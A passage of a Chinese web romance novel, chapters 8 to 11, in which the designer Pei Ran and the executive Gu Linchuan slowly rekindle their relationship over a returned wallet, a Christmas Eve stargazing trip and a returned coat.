裴然点了点头,应下,随即打算离开,又被医生一把叫住。
“等一下,把手给我,我拍一张照片。”
裴然不理解,但乖乖照做,等他拍完照片就快步离开了,他不想让顾临川等太久。
医生把照片发给顾临川,并配文:圆满完成任务。
顾临川的消息很快发来:你就简单的给他包扎一下就算了?
医生直喊冤枉,叫苦不迭:不然呢?再说了,他那手伤的也不深啊,至于你急急忙忙把我喊过来吗?
顾临川倒是也没看见伤口,听到伤得不深,放下心来,回他:你懂什么,设计师的手很重要的。
发完这条信息,车窗便被敲响,他循声望去,裴然弯着腰冲他温柔地笑,嘴里一张一合,不知道在说些什么。
他打开车锁,裴然闪身就进来,浑身带着一股寒气,搓了搓手,自顾自地说:“好冷啊,今年是最冷的一年。”
闻言,顾临川一边开车,一边讥讽他:“裴先生几年没回南城,这话说的也不脸红。”
裴然被他刺习惯了,对这种难听的话有了抵抗力,晃了晃手机:“我也会看南城的天气预报呀,你看,今日头条:南城遭遇寒潮袭击,或将迎来史上最低气温!”
“我还以为你不会使用智能手机。”顾临川意味不明地阴阳怪气,搞得裴然一头雾水。
“我已经适应了国内的手机使用方法。”裴然向他展示,自己给合作方发去的消息和文件,试图证明自己。
顾临川睨了一眼,问他:“需要我夸你吗?”
裴然收回手机,眼含希冀:“可以吗?”
顾临川非常礼貌温柔地对他一笑,随即笑容一敛,冰冷地吐出三个字:“不可以。”
裴然小声地嘀咕了一句小气,对他说:“哦。”
8. 第 8 章
车内又陷入寂静,裴然歪头轻轻靠在车窗上,透过玻璃窗反光映出顾临川的侧脸,以及他抓着方向盘的骨节分明的手指,裴然发愣盯着。
裴然摸了摸鼻尖,努力抑制住流泪的冲动。
说不难过是假的,年少时期的顾临川比现在少了几分阴郁,多了几分阳光。
似乎永远光彩照人,像一个温暖的小太阳,充满活力。
可裴然一想到这份阴郁,可能是自己的离开导致的,就又感到深深的绝望和无力。
“你哭了?”顾临川不知何时,在玻璃窗中与他对视上,看见他脸颊泛起的水光。
裴然惊了一瞬,下意识摸上自己的脸颊,感受到指尖的湿润,顿感羞耻。
他深深吐出一口气,急忙抹去脸上的泪,压制住哭腔:“没有哭,你看错了。”
顾临川沉着脸,微微偏头:“我看起来很好骗吗?”
裴然摆了摆手,慌乱解释道:“不是的,我只是不知道怎么跟你讲。”
顾临川眯着眼,半晌压低了嗓音,骂他:“撒谎成性的骗子。”
裴然声音抖得不像样:“对不起……”
“告诉我,为什么哭?”顾临川把车临时停在路边,卸下安全带,转过身面对着他,“不要再骗我。”
裴然根本不知道怎么形容那一刻的失落,眼里含着泪光,像一只无措的小鹿,“想起了一些难过的事情……”
顾临川死死盯着他,像是在确认他有没有说谎,半晌收回视线,状似满不在乎地试探:“和我有关吗?”
裴然不想再撒谎,诚实地点了点头,又去看顾临川的反应,生怕他又露出不虞的神色,赶紧解释:“也不太有关,只是一点点相关。”
“我又没说什么,你这么紧张干吗?”许是裴然欲盖弥彰的动作太明显,顾临川罕见的从鼻翼间溢出一声轻哼,“行了,眼泪擦擦,搞得像我欺负你一样。”
顾临川欺负完,心情愉悦地重新系上安全带,放下手刹起步,又想起这几天为什么和他置气。
说好的会尽快把钱夹给他送来,他每天上班前都孔雀开屏一般特意打扮,每一次秘书上来敲门,他都会升起一股隐秘的期待。
可一连等了两天也没看见人影,要不是宋妍宜接口聚餐将他约出来,他简直不知道猴年马月才能看见他。
总爱撒谎骗他,没心没肺的小骗子,顾临川又在心里偷偷骂他。
到了裴然公寓楼下,顾临川把车停下,看了看他的手,“自己能行?我先走了。”话音刚落就按下卡扣,推门而去。
“等一下。”裴然还没反应过来,身侧早已没人,赶紧下车拦住他,“上去坐坐吗?我顺便把钱夹还给你。”
顾临川打电话的手一顿,回过头,裴然红着一张脸,寒风吹散他额前的碎发,嘴唇水润润的,无意识的张着。
他在邀请我大晚上去他家里,他什么意思?
理智告诉他,他应该拒绝,把人安安全全送到已经是极限,没有理由再去他家的。
顾临川顶了顶腮,去你妹的理智。
“行啊。”
裴然眉眼间染上笑意,眼睛都弯了起来,露出一个放松的笑,上前两步和他并肩,示意他跟着自己。
到家后,裴然先安顿好顾临川,随后自己进了卧室,去拿钱夹。
裴然把钱夹放在床头的夜灯旁,每晚入睡前,都能看见他。
他把钱夹握在手心,无意识的摩挲着,不想出去的太快,能拖一会儿是一会儿。
才过了两天而已,他本想着,才见过面,不用太着急,至少还有一个还东西的理由可以正大光明的约他再见一面。
所以一直不去找顾临川,他想着,等思念难以控制的时候,再去找他。
哎,裴然轻叹一声,拿上钱夹出了房间。
顾临川坐在裴然公寓的沙发上,面前摆着西柚汁,裴然在卧室的时候,他拿起来抿了一口,香甜的蜂蜜味混合着酸甜的西柚,是他最喜欢的味道。
裴然一出门就看见顾临川拿着杯子小口小口的喝着,心底的那片柔软瞬间被击中,像回到了十八岁那年。
他走上前,把钱夹放在茶几上,“味道还喜欢吗?我特意加的桂花花蜜,是你以前喜欢喝的味道。”
“口味都是会变的。”顾临川放下水杯,淡淡地回他。
裴然笑容一滞,以为他不喜欢,感到很失落,但还是问他:“那你现在喜欢什么味道?”
顾临川盯着他,薄唇轻启:“你猜。”
裴然怎么可能猜得到,只当是顾临川不想告诉自己,想着既然顾临川不爱喝,他就把水杯端走,换成不会出错的白开水。
裴然手纲碰到水杯,顾临川就警惕地出声拦住他:“干什么?”
“我给你换一杯。”裴然被他挡的一愣,手指尴尬地停在半空,同时抬眼看向他。
顾临川拿起来喝了一口,放下时放的离裴然更远了些:“不用麻烦了,我也没说不好喝。”
口是心非的样子简直不要太明显,裴然一眼看穿,失落的情绪渐渐退去。
顾临川在这里一直呆到西柚水喝完,随后起身,拿起自己的钱夹,一边翻看一边往门口走。
裴然不知道下次见面会是多久以后,思来想去,还是决定拿起桌子上的苹果追上去。
追上去之后,裴然又不知道说什么了,看着手里略显简单的苹果,心一横,塞到他怀里,“提前祝你圣诞快乐。”
顾临川差点撞到他的手,往后撤了一步,才伸手把苹果接下,“礼物我收下了,祝福我先不接受。”
裴然瞪大双眼,刚想说哪有这样的,收了礼物不要人家的祝福。
“我不喜欢提前过,平安日那天,你要重新和我讲一次。”顾临川垂下眼,和他对视,“可以做到吗?”
裴然胡乱点头,“可以的。”
顾临川满意地点了点头,决定看在这个苹果的面子上,不跟裴然计较这几天没来找自己的事情。
“你有打开看过吗?”顾临川晃了晃钱夹,想起里面的合照,若有所思地问他。
裴然亦步亦趋的跟在他身后,顾临川突然停下,他差点又撞到他的背,裴然揉了揉鼻尖,“没有,我一直是放在柜子上的。”
裴然有些担忧:“怎么了?里面的东西丢了吗?”
“没有。”顾临川站在门口,随意地挥了挥手算作告别,“不过你真应该看一下的。”
裴然心里顿时像被猫抓似的,偏偏罪魁祸首已经远离,只留下一个背影,裴然赶紧跑到阳台,等了一会儿,看见顾临川走出来的身影。
裴然撑着脸,趴在阳台上,看着顾临川越走越远,连眼睛都舍不得眨一下,一直到背影彻底消失在黑夜里,才揉了揉干涩的眼,转身进屋。
一连几天的冬雪天过后,南城气温骤降,不过也在平安日这天迎来了难得的几日晴。
Leo也在大晴天这日,落地南城,迎面与寒冷的北风打了个照面,leo很给面子的拿出围巾和帽子带上,饶是如此也冷得瑟瑟发抖。
裴然来接
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他时,看着裹得严严实实的leo,差点没认出来,倒是leo远远便瞧见裴然,扯着嗓子大声喊。
Leo见他风度翩翩,只穿着一件大衣便来了,感到万分震惊:“然,你们东方人都会仙术吗?你怎么一点也不冷?”
裴然故作神秘,对他比了个嘘的手势,示意他小声一点,“当然,你想学这个仙术吗?我可以传授给你。”
Leo配合地东张西望,确认没人注意他们,疯狂地点头,一副求知若渴的模样。
裴然装模作样地挡了挡,还让leo凑近一些,捣鼓半天,最后从兜里掏出一块暖宝宝。
Leo心脏都快要跳出来,看清是什么的时候一瞬间沉静下来:“……”
裴然恶作剧成功,笑着揽住他的肩,带着他往车那边走去,还在忽悠他:“这可是我的独门秘籍,不要外传哦。”
暖宝宝虽不是东方仙术,但是抵御寒冷很有效,leo拆开一块,贴在衣服上,很快便暖和起来。
Leo见裴然手受伤,坚决不让裴然开车,裴然被他一把推到副驾驶,很无奈:“只是小伤,已经好了。”
“小伤也不行。”说完,leo已经坐上驾驶座,面露疑色,“欸?然,你把车借给别人了吗?”
裴然正在系安全带,闻言抬头看他,“怎么了?”
Leo伸手调整座位,把座椅往前调了一些,“这个座位这么大,肯定不是你开的。”
Leo与裴然身高身形几乎一致,若是穿上一样的衣服和一样的发型,看背影几乎很难分辨出两人。
裴然心虚,摸了摸鼻尖,含糊道:“好像是吧,我也记不清了,很久没开车了。”
这座位是当时顾临川开车的时候调的,这几天他都住在工作室,没时间开车,方才开过来他也没发觉不对劲。
不过leo也没多问,调整好后就开着车走了。
Leo回国待一周的时间,一周都住在裴然家里,裴然一早就为他收拾好了房间,生活用品也为他准备着。
Leo推着行李箱一进门,便看见客厅中间摆着一棵漂亮的圣诞树,他把行李一扔,一个箭步冲上前,围着圣诞树左看右看,发出一声又一声惊呼。
“然,我太爱你了!这棵圣诞树我超喜欢!”leo冲到裴然身边,激动地朝他说,“晚上开灯之后肯定会更美!”
裴然走到窗边,把窗帘拉上,随即在leo期待的目光中,为他点亮了灯光,leo兴奋地抱起裴然转圈,简直都说不出话来。
等裴然进去替他把行李放好后,leo还围坐在圣诞树旁,小心翼翼地触碰着树上的装饰。
见裴然出来,他颇为遗憾地说:“只可惜不能带回英国。”
裴然向他承诺,明年圣诞节在英国也为他做一个。
Leo咋咋呼呼地搂住裴然的脖子:“然,你对我最好了!”
说着,leo站在圣诞树旁边,露出灿烂的笑容,伸出两个手指头比耶,让裴然用拍立得为他拍一张。
照片洗出来,leo爱不释手,恨不得拿着给全天下的人去炫耀。
看着leo捧着手机傻乎乎炫耀的模样,裴然心念一动,想起顾临川在自己手机里留下的电话号码,他一直没机会拨通。
顾临川说要找他就联系这个号码,会是他自己的私人号码吗?还是助理的?
他可以在闲暇时拨通这通电话吗?会不会打扰到他?
裴然脑海里思绪翻涌,捏着手机半晌,号码输了又删,终于还是没能拨通。
9. 第 9 章
平安夜的黄昏,工作室其他成员都已提前下班回家,享受假期,只留下庭婷几人,和被迫来加班的Leo。
裴然把一叠草图钉在画板上,指尖落在最核心的女士长裙上,声音平静地跟大家介绍。
画板上的草图,线条利落又带着东方的柔和,核心元素是苏绣枝缠莲纹样,碎片化的点缀在长裙的领口与裙摆处。
裴然化的细致,仔细看还能看清针线的纹路,leo率先给出自己的看法:“传统工艺打开国内市场,我觉得非常合适。”
庭婷几人也无不赞同,只是有些忧虑苏绣的事情。
庭婷大步走上前,指了指裙摆处的莲花:“高密度的苏绣会让裙摆变得很沉重,失去了本身的灵动感,若是更换更加轻盈的布料,有会显得有些突兀。”
此话一出,众人都陷入沉思,这的确是个问题。
章谈亦沉吟片刻,想到办法:“调整一下针脚呢?我记得,苏绣里面有平针绣的方法,可以在一定程度上保留纹理,也能减轻负重。”
“可以考虑。”裴然点头,在草图上又添几笔,“年前我去一趟苏城,庭婷为我联系一下当地的绣娘,确认一下方法可行性。”
Rechal对东方传统技艺不太懂,听的有些茫然,见大家已经决定,便说:“白坯样品我会尽快出,优先制作女士长裙。”
会议结束,外面已经夜幕高挂,裴然见几人又回到工位上打开电脑,于心不忍:“平安夜大家就不加班了吧,回去好好休息。”
庭婷和rechal当机立断约好一起去逛街,章谈亦嘻嘻哈哈地加入,leo见状也想跟着一起去。
“然哥,一起去呗?”庭婷见裴然一个人背影孤寂,临走前出声邀请。
裴然摆了摆手,笑着让他们去,“玩的开心,明天可以找我报销。”
四人热热闹闹地走了,工作室里陷入安静,裴然定了定神,继续埋头工作。
裴然心里藏着事,工作也不专心,没几下就停笔,拿出手机,依旧看着那串数字发愣。
眼见着只剩最后半小时,平安夜就要过去,裴然心一横,闭上眼睛点了点拨通键,旋即屏息凝神,内心腾起一股隐秘的期待。
嘟嘟——
电话只响了一声便被接通,熟悉的声音从电话里传来,落到裴然耳朵里有些失真。
“哪位?”顾临川似乎心情很愉悦,两个字在唇边溢出都仿佛带着勾人的笑。
裴然把手机放在桌子上,双手搅在一起,轻声回他:“顾先生,我是裴然。”
“哦,裴然。”顾临川重复了一次他的名字,但又恶劣的不接下文。
裴然怕他又记不清自己是谁,补充道:“我们几天前,见过的,你还记得吗?”
顾临川又说:“嗯,然后呢?打电话给我做什么?”
“我有话要对你说。”裴然鼓起勇气,讲完后羞得脸颊泛红,“平安夜快乐,顾先生,愿你不止今夜,往后岁岁年年,都平安顺遂。”
顾临川饶是做好了心理准备,但还是心脏猛地缩紧,拿手机的手明显一顿,抬头看着工作室亮起的灯光,明知故问:“在哪里?”
裴然如实回答:“工作室。”
顾临川嗓音沙哑,对他说:“方便下来吗?”
裴然心念一动,仿佛心有灵犀一般,朝窗口望了望,小跑着下楼:“我马上下来。”
挂断电话,在这里陪顾临川等了一晚上,被寒风吹到冻僵的工具人合作商搓搓手,嘿嘿一笑,“顾总,您看这个时间也不早了,我那个方案?”
顾临川大发慈悲摆摆手,示意他可以走了,“我会考虑的。”
合作商大喜过望,冲上前想和他握手,但顾临川刚好抬手喝了一口咖啡,手悬在半空他也不觉得尴尬,迅速收回了来,朝顾临川告别。
合作商前脚刚走,裴然后脚就到了,看见桌子上摆了两杯咖啡,以为他还约了别人,于是站着不敢坐。
顾临川抬头看了他一眼,朝他解释:“刚刚约了人谈工作,现在已经谈完了。”
“把我叫下来,是有什么事情吗?”裴然放心下来,在他对面坐下。
“只是刚好在这里谈事情,碰巧你给我打电话,就顺手把你喊下来,一起喝一杯而已,你不要想太多。”顾临川像是不懂他为何感到疑问,“再说了,我是你恩人,喊你作陪,不需要理由。”
裴然听他前面解释那么多,心道他哪敢多想啊,总不可能顾临川是故意在这里等他吧,他还没有那么自作多情。
裴然疑惑地重复:“恩人?”
顾临川理所当然地轻哼一声,神情矜贵又高傲:“你做了对不起我的事情,但我忘了,不与你计较,可不就是你的恩人?”
裴然被他这说法逗乐,随即笑容收敛些,压低声线小声问他:“你忘记了所以不计较,那你要是以后想起来了,可不可以也不和我计较?”
“你不要撒娇。”顾临川皱着眉,眼眸微眯,像一匹蛰伏在黑夜里的狼,“所以你到底做了什么对不起我的事情?”
“我没有。”裴然一愣,朝他解释,随后字斟句酌:“我离开的时候,没有告诉你,甚至还骗你。”
顾临川呼吸粗重,手指在看不见的地方捏紧,问他:“那你还会这样做吗?”
“不会了,我发誓。”裴然立刻举起三根手指,比在太阳穴附近,“如有违反,就天打……”
顾临川打断他:“够了,不用说完。”
裴然乖乖闭嘴,没把那句天打雷劈说完。
顾临川站起来,见裴然脖子上空荡荡的,便把旁边的围巾递给裴然,“看在你是第一个和我讲平安夜快乐的人的份上,带你去个地方。”
裴然很惊喜,带着几分不可置信:“真的吗,枚烨和戚贺昀没有跟你讲吗?”
“他们都是中国人,不爱过洋节。”顾临川慢慢悠悠起身往前走了几步,见裴然愣在原地,又停下来等他,“跟上。”
裴然如梦方醒,把围巾整齐地挂在臂弯,抬脚跟上,这一次撞上了顾临川的胸膛。
裴然三番几次撞到他,这次更是投怀送抱,裴然差点都自我怀疑,后退一步赶紧解释:“不是的,我不是故意的。”
低沉无奈的嗓音在头顶响起,顾临川把围巾往他脖子上套,“你要扮演雪人吗?”
裴然半张脸都被围在围巾里,露出亮晶晶的眼,笑起来湿漉漉的,就这么直勾勾盯着。
顾临川伸手挡住他的眼睛,听到他不解地嗯了一声,也不解释,手一松就径直往前走,身后的裴然小跑跟上。
夜色如墨,兰博基尼像一头蓄势待发的黑色猛兽,在盘山公路上呼啸而过,城市的霓虹早已被甩在山脚下,云开雾散,头顶的星空也越来越清晰。
盘山公路的尽头是一片开阔的观景台,顺着观景台绕围栏,有一处缺口,缺口外没有石阶,只有被人踩出来的一条小草径,顺着下坡,就是一片没被开发过的天然草地。
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草地上挂着夜露,混合着泥土与草地的清冽气息,草地边缘落着几块巨大的岩石,被山风磨得圆润。
顾临川径直走到最大的那块岩石旁边,坐了下去,裴然学着他的动作,也跟着坐了下来。
观景台工作人员送来小火炉,放在两人身前,热意源源不断地传来,抵消了料峭山风的寒意。
头顶的星空毫无遮拦地铺开,银河像一条发光的丝带,横亘在墨色的天幕中,小火炉燃烧发出噼里啪啦的声音,城市的繁华一览无余。
“赛车,你是什么时候学会的?”裴然盘腿规规矩矩坐着,偏头轻声问他。
顾临川抬手枕在头下,随即躺在岩石上,思索了几秒:“上大学的时候吧。”
“为什么突然想去开赛车了?”裴然眼底映着跳跃的火光,看向他,“今年这场车祸之前,还受过伤吗?”
顾临川声音混在夜风里,显得很轻:“因为刺激,在那种风驰电掣中,能清晰地感觉到自己活着——又随时可能会死掉。”
事实上,裴然离开后很长一段时间,他几乎丧失了对外界的感知,像行尸走肉,平淡普通的感情已经无法再触动他,他需要极致又疯狂的情绪,来压制心底的痛苦。
不止赛车,这些年他尝试了很多极限运动,大大小小的事故把安保公司弄得殚精竭虑。
裴然低着头,不说话了,眼角似乎湿润起来。
“怎么又哭了?”
“没有哭。”
顾临川感到苦恼,怎么又是一副被欺负了的模样,抽出一只手挑起他的下巴,彻底看清他眼底翻涌的情绪后,说不出话了。
裴然一出声,带着几分哽咽,“给我讲讲,可以吗?”
顾临川一时不知道从何讲起:“你想听什么?”
裴然思考了几秒,看着他小臂上露出来的一条狰狞的疤痕,“从它开始,好吗?”
顾临川低头,才发现袖口不知道何时微微上滑,露出了一点伤痕。
这个伤口是他去南美洲攀岩时,在岩壁上划伤的,当时精神亢奋,肾上腺素飙升,几乎都没察觉到。
伤口不算很深,但是治疗不及时,加上他本人并不注重,便留下了一条疤痕。
说着,他想起裴然手上的伤,让他给自己看看,裴然听话地伸出手,手上的伤口已经开始愈合,新生的嫩肉渐渐长出来,应该不会留疤。
顾临川见他听的认真,便坐起来,又讲起自己在爬雪山的经历,裴然感到很好奇,坐的端端正正认真倾听。
过了一会儿,裴然渐渐安静下来,只剩下浅浅的呼吸声,头一歪,靠在顾临川的肩上。
顾临川呼吸一滞,顿时不说话了,调整了一下姿势,让他到在自己怀里,眼神赤裸毫不掩饰,肆意地盯着裴然。
裴然睡着了显得很听话,像一只毛茸茸的猫咪,对着主人信任地袒露肚皮,捧在手里又软又热。
顾临川把他打横抱起来时,脑海里只剩一个念头,怎么这么轻,他在英国都不吃饭的吗?
酒吧初见时,他就觉得眼前人瘦了很多,棱角分明,脸颊上的肉也没了,锁骨更深了,显出几分脆弱感。
他把裴然轻放在副驾驶座,俯身为他调节座位高度,裴然恰好在此时翻身,他险些被撞倒,急忙伸出一只手撑在座椅上。
裴然此刻的呼吸全打在他脸上,胸膛随着呼吸起伏,顾临川轻轻拨开他额前的碎发,落下轻柔一吻。
“晚安。”
10. 第 10 章
今年冬天天气无常,圣诞节过去,气温便又回升,接连几日都是晴天。过了几天临近元旦,气温又骤然下降。
元旦以前,Leo便要离开南城,返回英国,于是这几日Leo很黏裴然,他简直舍不得离开。
Leo像一只委屈的树懒,裴然在厨房炖汤,他就抱着抱枕,可怜兮兮地站在裴然身后,“然,跨年夜我们都有时差了。”
裴然将炖好地梨汤盛出来,捧在手里往餐厅走去,刻意避开离别的话题,招呼他,“来尝尝。”
Leo注意力果然被吸引,像只小狗一样,凑上前去嗅了嗅,雪梨的清香扑鼻,“哇,那我就不客气啦。”
一碗梨汤被leo咕噜咕噜几下喝光,像喝粥一样。
门铃声敲响时,leo端着碗往厨房走,放下碗后探头:“我去开门吧,然,你专心喝。”
裴然于是又坐下,拿勺子把雪梨戳碎,小口小口放进嘴里。
“好的,麻烦了。”Leo礼貌地道谢,把门关上。
Leo手里提着干洗店的袋子,放在沙发上,“然,衣服到了,你什么时候给顾送过去?”
那天夜里,裴然在车里睡去,顾临川用自己的衣服给他裹起来,一路送到了家门口。
Leo打开门时很震惊,还以为裴然出了什么事情,确认只是睡着之后才松了一口气。
他自然地伸出双手,打算从他手中接过裴然,谁料,顾临川居高临下地望着他,公主抱稳稳托着裴然,下巴微抬,示意他让开。
Leo下意识让出一条路,顾临川熟门熟路地走向裴然的房间,半路怕裴然掉下来,还颠了颠。
裴然皱着眉,呓语了几声,听的不清楚。
Leo跟上去,跟着顾临川把人放在床上,俯身轻柔地脱下外套,又半跪着为他脱鞋脱袜子。
一切做完,顾临川言简意赅朝他伸手:“有湿毛巾吗?”
Leo目瞪口呆,方才看得入神,此刻如梦初醒,赶紧点头,进了浴室给他拿湿毛巾。
顾临川擦了擦裴然的脸,又给他擦了擦手指,仔仔细细给他掖好被角,留了一盏小夜灯,转而退出房间。
Leo去厨房为他倒了一杯温水,回想起刚刚那一幕,感觉世界观正在重塑。
顾临川没有多呆,和他点头致意后便转身离去。
Leo看着他的背影,宽肩窄腰配上黑色毛衣,在这寒冷的冬夜,总感觉少了点什么。
等Leo反应过来,打算追上去提醒他,先生你的大衣还在裴然房里,没有带走。
但顾临川早已没了踪迹。
第二天裴然醒过来时,一脸茫然地问他,自己是怎么回来的,Leo一脸的八卦:“是一个超级帅的帅哥把你公主抱回来的!”
听到公主抱,裴然顿时变了脸色,腾起一股热意。
Leo还在坚持不懈的提问:“然,是你朋友吗?你们怎么认识的啊?”
裴然红着一张脸钻进厨房,只说是之前的好朋友。
之后,裴然给他打去电话,表示感谢,并说自己会派人把衣服给他送回。
顾临川对他说,感谢要用心,下次见面时亲手带来吧。
此后几天,裴然想起他说的下次见面,内心都会隐隐地期待。
此时,裴然视线看向沙发上的衣服,捏着手机的指尖仿佛触电般酥麻。
他拨通了电话,“顾先生,是我,裴然。”
顾临川那边传来一声熟悉的卧槽,随后一阵窸窸窣窣又恢复安静,“嗯,什么事?”
“你现在方便吗?我把上次你落在我家的衣服送过来。”裴然听出他身边有人,以为自己打扰到他了,“不方便的话,我下次也是可以的。”
顾临川摆手示意面前一脸难以置信的人冷静,压了压嘴角,“没说不方便,你过来吧。”
挂了电话,戚贺昀围着顾临川一阵卧槽,又想起那件落在裴然家里的衣服,脑海里不可抑制的想到一些画面。
顾临川瞥了他一眼,提醒:“只是落了一件衣服,别想太多。”
戚贺昀表现得很激动,立刻拿出手机跟枚烨分享。
“咕咕,我就知道,你和裴裴肯定能在一起。”戚贺昀手指打字飞快,一边不忘和顾临川讲话,“这就叫做,白月光回国,顾总强势求爱,最终抱得美人归!”
顾临川听他讲完,突然问起:“枚烨最近忙什么呢?”
戚贺昀想了想,“最近他一直在跟进新能源项目,经常飞国外,我都快两天没见到他了。”
戚贺昀比较黏人,两天没见,对他俩而言,已经很久了。
这几日枚烨出差,便日日跑顾临川这边,吃喝玩乐一样没少,但仍嫌顾临川无趣。
顾临川了然,“什么时候得了闲,让枚烨带你去医院看看。”
戚贺昀不解:“看什么?”
顾临川指了指脑袋,无声挑眉。
戚贺昀气得张牙舞爪,顾临川没理他,拿起外套准备下楼。
戚贺昀从小沙发上弹起来,问他:“你干嘛去?”
顾临川脚下步履没停,言简意赅,“买东西。”
戚贺昀眼珠子一转,赶紧也抓着衣服跟上去,“我也去我也去。”
楼下新开了一家咖啡馆,顾临川路过茶水间时,听见有人说起,他们家的抹茶提拉米苏味道不错。
顾临川单独打包了一份,又为全体员工定了下午茶,让他们做好后送来。
戚贺昀笑着打趣:“盛信员工真是好福气,老板亲自买下午茶。”
顾临川不置可否,衣摆飘飞,转身又离开。
上楼上,戚贺昀闪身进了游戏厅打游戏,挤眉弄眼的表示不打扰他们二人世界。
顾临川也觉得理因如此,并不拒绝,难得贴心地叮嘱他,有需要可以叫助理。
裴然挂了电话后,简单收拾了一下,便在Leo八卦的目光中离开。
外面阴云密布,又有落雨的征兆,裴然又折返回去拿伞。
裴然泊好车,礼貌地询问前台小姐:“你好,我找顾先生。”
前台小姐姐耐心询问:“请问是顾总还是顾经理?”
裴然这才想起来,顾辰回国后也入职了盛信,便说:“顾总。”
前台小姐问:“好的,请问您有预约吗?”
裴然点点头,“我跟顾总通过电话。”
前台小姐正准备打电话到秘书处进行确认。
身后的电梯“叮”地一声打开,走出来一位西装革履的男人,目光精准落到裴然身上。
前台小姐:“陈特助。”
陈特助干脆利落:“下次裴先生来,不用拦着。”
前台立刻点头应下,职业礼貌的微笑染上几分惊讶。
总助没再多言,只是侧身做了个“请”的手势,语气比对着前台时柔和了些许:“裴先生,这
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边请。”
陈特助引着裴然特意往人群里走了一遭,最后停在办公室门前,轻轻敲了两下,同时低声汇报:“顾总,裴先生到了。”
说完,便朝裴然微微一笑,欠身离开。
裴然推门而入,顾临川还在埋头处理文件,见他站在门口,朝他招招手:“进来。”
裴然将手提袋晃了晃,问他:“顾总,放哪?”
顾总这个称呼新奇,裴然讲完自己先忍俊不禁,总觉得面前的人还是年少时期的少年,多年后再见,已经是成熟稳重的大人了。
仔细瞧瞧,眉眼间似乎还能窥见几分青春肆意的影子。
顾临川指了指小沙发,示意他放那里,看了一眼外面,阴沉许久的天空终于落下雨。
顾临川悄悄看了看裴然的后颈和发丝,没有被淋湿的迹象,松了口气。
裴然顺着他的眼神看过去,恰好被挡住视线,便微微俯下身,与他视线保持一致,歪着头。
顾临川感受到裴然头顶的发丝轻轻擦过脸颊,鼻尖传来幽幽的桂花香,身子触电般一僵,瞳孔骤然紧缩,喉咙干涩沙哑:“你干什么?”
裴然直起身,眼神清白无辜:“看看你在看什么?”
“没看什么。”顾临川面无表情,翻开桌子上的文件,那几秒甚至一个字也没读进去,余光瞥见角落的蛋糕,才想起,“蛋糕你拿走吃吧。”
裴然又顺着目光看向角落包装精致的小蛋糕,露出惊喜的神色,“你不吃吗?”
“助理订的下午茶,不是我喜欢的口味,看在你冒雨送衣服的份上,给你吃吧。”顾临川说起谎话脸不红心不跳,仍是一副冷静自持模样,末了又补充一句,“不是专门给你买的。”
“我知道的。”裴然捧起蛋糕,心里甜丝丝的,哪怕这是顾临川不喜欢才给他的,抿着唇还是掩盖不住笑意,“我很喜欢,谢谢你。”
“嗯。”顾临川淡淡应声,面上不显,却忍不住抬眼看他。
裴然衣服也送到了,蛋糕也收下了,便没有理由留下,同他告别:“我先走了。”
顾临川起身拿起一旁的大衣,“下雨了,我送你。”
裴然摆手拒绝,“我自己开车来的,不用麻烦了。”
顾临川便点点头,把衣服放下,重新坐了回去。
裴然提着小蛋糕出门,走出去又折返回来,扒着办公室大门,探出一点脑袋,眨眨眼问:“下次见?”
顾临川被回马枪杀的一愣,转而压制住疯狂上扬的嘴角,故作冷静的点点头,“嗯。”
裴然满意地离开,像一只收获满满的小猫,手里的蛋糕,也像是扛在肩头的小鱼干,是勇敢者的战利品。
裴然离开后,顾临川假装十分认真地处理工作。
若是此刻陈特助站在身后的话,便会扶额苦笑,提醒自家老板您把文件拿反了。
终于,顾临川站起身,缓缓靠近沙发。
拿起袋子,里面静静躺着那件大衣,顾临川把它取出来,手心捏着领口摩挲,又凑近了一点,放在脸颊侧,不自觉地蹭了蹭,却没有意料中的桂花香,他皱起眉,又抓起衣服嗅了嗅其他地方。
衣服里飘出一张白色纸条,字体清隽挺拔,笔锋又带着几分不易察觉的锐利,如同其人一般。
上面写着:衣服送干洗店清洗过哦,很干净的!
顾临川脸上表情变化莫测,最终黑着一张脸把衣服丢到一旁。
11. 第 11 章
第二日清晨,早起办公,浑身散发着低气压的顾临川坐在主位,听着负责人讲述他们的年末报告,气压又低了几分。
参会人员纷纷低着头,努力降低存在感,连呼吸都小心些。
他们又看着顾临川拿起震动一下的手机,眉梢微挑,像是看到了什么好消息,整个人犹如多云转晴,眉目含笑。
一直到会议结束,顾临川仍是春风得意的模样,平时毒舌的嘴此时竟出口安慰,让他们在接下来新的一年继续努力。
众人吓得不轻,惊恐抬起头,想确认自家老板是不是被夺舍了。
但顾临川没给这个机会,说完就飞速离开会议室,手里还捏着手机,嘴角带着一抹笑。
顾临川仔仔细细盯着手机,不放过任何一处细节,确认着的确是裴然发来的好友申请,盯着看了又看,好半天才按下同意申请。
裴然坐在办公室里修改手稿,揉了揉酸涩的眼睛,拿着铅笔打算继续埋头画,手机在口袋里传来一阵震动。
裴然惊喜,赶紧摘下眼镜,拿出手机,果然是顾临川同意了申请,裴然从表情包里找到一个合适的打招呼发了过去。
裴然:【猫猫探头.jpg】
顾临川看着手机里一只小猫从盒子里探出头来喵喵叫的表情包,想起裴然这样做的模样,忍俊不禁,手里倒是收敛,只回了一个问号。
裴然昨夜早上也不知道怎么想的,深夜时分,坐在沙发边上把蛋糕小口小口吃掉后,突然有了勇气。
抓着Leo的肩,莫名其妙地发问:“你相信我吗?”
Leo正在看综艺,嘻嘻哈哈的笑得不停,生怕错过精彩片段,便赶紧回答:“相信相信。”
于是裴然一把拿起手机,打算发去好友申请,但又看时间已晚,怕打扰到顾临川,便一直等到第二天上班之时。
裴然看着问号也开心,捧着手机嘿嘿傻乐。
庭婷推门进来,见状赶紧捂住眼睛,大喊着:“我什么也没看见,我真的什么也没看见。”作势就要关门。
裴然被吓一跳,手机差点飞出去,但还是立刻冷静下来,“进来吧。”
庭婷一个闪身就进来了,这次坐在裴然办公桌角,小声地八卦:“谁啊?”
裴然收起手机,“下次进来要敲门。”
庭婷撇撇嘴,不乐意了:“不是你说让我自由些,想进来就进来吗?”
裴然忘了是自己定下的规矩,噎了噎,转移话题:“找我什么事?”
“之前你不是说年前要去苏城吗?机票和绣娘坊我都替你约好了,和你确认一下时间。”庭婷从桌子上下来,拿着平板给他看,“没问题的话,我就下去准备了?”
裴然看了眼时间,刚好他送Leo上了飞机之后就可以飞往苏城了,便点点头,示意没问题。
庭婷抓着平板就要走,到门口又折返回去,狐疑地盯着裴然,强迫他直视自己:“不是顾辰吧?”
“想哪去了?”裴然无奈地戳了戳她眉心,“当然不是,我只把顾辰当弟弟。”
